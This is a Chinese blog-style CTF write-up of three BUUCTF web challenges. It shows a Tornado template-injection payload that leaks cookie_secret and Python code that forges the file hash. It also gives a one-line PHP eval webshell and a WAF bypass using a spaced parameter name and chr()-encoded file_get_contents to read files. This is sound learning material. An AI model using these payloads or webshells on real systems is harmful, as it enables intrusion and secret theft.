BUUCTF 6

知识点

一句话木马结构:<?php @eval($_POST['attack']) ?>

render:python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

SSIT:SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。详情可见该博客

tornado:Tornado龙卷风是一个开源的网络服务器框架,它是基于社交聚合网站FriendFeed的实时信息服务开发而来的。

PHP函数

  1. file_get_contents() :file_get_contents() 函数把整个文件读入一个字符串中。
  2. var_dump() 函数用于输出变量的相关信息
  3. scandir()列出 参数目录 中的文件和目录

WAF:是指防火墙。

防火墙绕过:利用PHP的字符串解析特性就能够进行绕过waf!!

6-1

做题思路

原谅我打开题目之后,观察了三个文档只知道了flag应该在 /fllllllllllllag 中,

除此之外只认识一个  MD5编码

虽然知道不可能直接得到,但还是尝试着在 URL 中输入 /fllllllllllllag

结果果然不出意外,去找大佬的WP

看了WP后得知了更多线索

点开文件后,url 发生了变化,有参数 filename 和 filehasbiancaice

便猜测flag 在 filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))  里面

那接下来便要找 cookie_secret ,hints提示 render ,又根据题目easy_tornado,可推测是服务器模板注入

因为render()是tornado里的函数,可以生成html模板。tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

根据大佬WP思路是查阅Tornado官方文档查询与cookie_secret相关的

最后得知cookie_secretRequestHandler.application.settings

handler.settings访问RequestHandler.application.settings

payload:

/error?msg={{handler.settings}}

得出cookie_secret后就可以求md5(cookie_secret+md5(filename))

然后根据python代码得到 filehash:

import hashlib

hash = hashlib.md5()   #创建md5加密对象
hash.update("/fllllllllllllag".encode('UTF-8')) #更新对象要加密的字符串,要先UTF-8编码成二进制,因为md5只加密二进制
s1=hash.hexdigest()#以十六进制输出密文
hash = hashlib.md5()#按要求重复步骤
hash.update(("88418b16-e8cf-4a57-9b43-2abd81796dea"+s1).encode('utf-8'))
print(hash.hexdigest())

6-2

做题思路

根据题目的shell,和菜刀,想到用蚁剑连接

看见这个想到了一句话木马

于是用蚁剑连接网站,密码为Syc,连接成功

然后在文件中找到 flag 

6-3

做题思路

打开之后没思路,看看源代码

发现了一个 

尝试进入calc.php

发现过滤了许多东西

经过多次类似的题目和看过WP后我觉得这个题目关于PHP代码的题目需要在该文件后面输入指令

然后根据黑名单便利用 ascill码 绕过黑名单,

然后此题还要绕过防火墙,利用PHP的字符串解析特性就能够进行绕过waf!!

构造参数? num=phpinfo()(注意num前面有个空格)就能够绕过

然后利用 var_dump() 和 scandir() 进行目录读取,看到了flagg

 然后利用 file_get_contents函数 构造 payload 

http://node3.buuoj.cn:27112/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值